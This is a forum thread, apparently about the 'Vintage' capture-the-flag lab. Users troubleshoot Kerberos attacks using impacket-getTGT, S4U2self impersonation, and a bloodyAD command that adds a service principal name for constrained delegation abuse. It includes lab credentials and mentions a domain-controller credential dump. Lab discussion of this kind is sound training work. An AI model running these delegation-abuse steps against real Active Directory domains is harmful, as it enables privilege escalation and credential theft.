[rebelhex2]

Thanks for the alternative root, appreciated.

[Kontoru123]

why the 
impacket-getTGT vintage.htb/svc_sql:Zer0the0ne

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

anyone can help with this prob

[monkey122333]

why the 
impacket-getTGT vintage.htb/svc_sql:Zer0the0ne

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

anyone can help with this prob

you need to activate the account with bloodyad

[rebelhex2]

hmmm I am almost sure I did this the other day now for some reason is not working
I am sure I renable user
2024/12/11 05:41:15 >  [+] VALID LOGIN: svc_sql@vintage.htb:Zer0the0ne
then I continue:

[*]Saving ticket in C.Neri_adm.ccache [+] svc_sql added to delegatedadmins Impacket v0.11.0 - Copyright 2023 Fortra [*]Saving ticket in svc_sql.ccache Impacket v0.11.0 - Copyright 2023 Fortra [*]Impersonating L.Bianchi_adm /usr/bin/getST.py:321: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).   now = datetime.datetime.utcnow() /usr/bin/getST.py:408: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).   now = datetime.datetime.utcnow() + datetime.timedelta(days=1) [*]Requesting S4U2self [-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Probably user svc_sql does not have constrained delegation permisions or impersonated user does not exist Impacket v0.11.0 - Copyright 2023 Fortra [-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user

anyone getting similar issue? how did you bypass tx.

[0bfusc8]

hmmm I am almost sure I did this the other day now for some reason is not working
I am sure I renable user
2024/12/11 05:41:15 >  [+] VALID LOGIN: svc_sql@vintage.htb:Zer0the0ne
then I continue:

[*]Saving ticket in C.Neri_adm.ccache [+] svc_sql added to delegatedadmins Impacket v0.11.0 - Copyright 2023 Fortra [*]Saving ticket in svc_sql.ccache Impacket v0.11.0 - Copyright 2023 Fortra [*]Impersonating L.Bianchi_adm /usr/bin/getST.py:321: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).   now = datetime.datetime.utcnow() /usr/bin/getST.py:408: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).   now = datetime.datetime.utcnow() + datetime.timedelta(days=1) [*]Requesting S4U2self [-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Probably user svc_sql does not have constrained delegation permisions or impersonated user does not exist Impacket v0.11.0 - Copyright 2023 Fortra [-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user

anyone getting similar issue? how did you bypass tx.

did you follow all steps that came before?

[rebelhex2]

hmmm I am almost sure I did this the other day now for some reason is not working
I am sure I renable user
2024/12/11 05:41:15 >  [+] VALID LOGIN: svc_sql@vintage.htb:Zer0the0ne
then I continue:

[*]Saving ticket in C.Neri_adm.ccache [+] svc_sql added to delegatedadmins Impacket v0.11.0 - Copyright 2023 Fortra [*]Saving ticket in svc_sql.ccache Impacket v0.11.0 - Copyright 2023 Fortra [*]Impersonating L.Bianchi_adm /usr/bin/getST.py:321: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).   now = datetime.datetime.utcnow() /usr/bin/getST.py:408: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).   now = datetime.datetime.utcnow() + datetime.timedelta(days=1) [*]Requesting S4U2self [-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Probably user svc_sql does not have constrained delegation permisions or impersonated user does not exist Impacket v0.11.0 - Copyright 2023 Fortra [-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user

anyone getting similar issue? how did you bypass tx.

did you follow all steps that came before?

I am very sure I did, using the new way you posted, with svc_sql account, I am familiar with all the tools, if there is no need for time sync that is usually what I have to fix, so im puzzle, I made a small bash script with the steps to not make typos, after work I will try to reset the box if you can't think on why this issue.
tx for the reply.

[bambang333]

is this hard?, becaus i want try it

[rebelhex2]

OK I figure out what I was doing wrong after some RTFM I am not sure if you forgot or there was another way but I had to add this step:

export KRB5CCNAME=C.Neri.ccache bloodyAD -k --host dc01.vintage.htb -d vintage.htb set object 'svc_sql' servicePrincipalName -v 'cifs/dc02.htb'

this is right before grabbing user or after either way is needed to be run under C.Neri then everything else works fine.
I was puzzle because I have been doing this for quite sometime, but because my time this month is limited decided to follow someone else's steps for once, but at the end I got bloodhound out and started to review each step until I found my problem.

Thanks either way!
:hugs:

[0bfusc8]

OK I figure out what I was doing wrong after some RTFM I am not sure if you forgot or there was another way but I had to add this step:

export KRB5CCNAME=C.Neri.ccache bloodyAD -k --host dc01.vintage.htb -d vintage.htb set object 'svc_sql' servicePrincipalName -v 'cifs/dc02.htb'

this is right before grabbing user or after either way is needed to be run under C.Neri then everything else works fine.
I was puzzle because I have been doing this for quite sometime, but because my time this month is limited decided to follow someone else's steps for once, but at the end I got bloodhound out and started to review each step until I found my problem.

Thanks either way!
:hugs:

thanks for your honest review, to be fair i knew the same could be achieved with adding spn but the method i used before doing the writeup didnt rely on it, when i wrote the writeup i mustve got something mixed up - congrats on pwning the box.

[nikosantonopoulos]

thanks mate, we'll see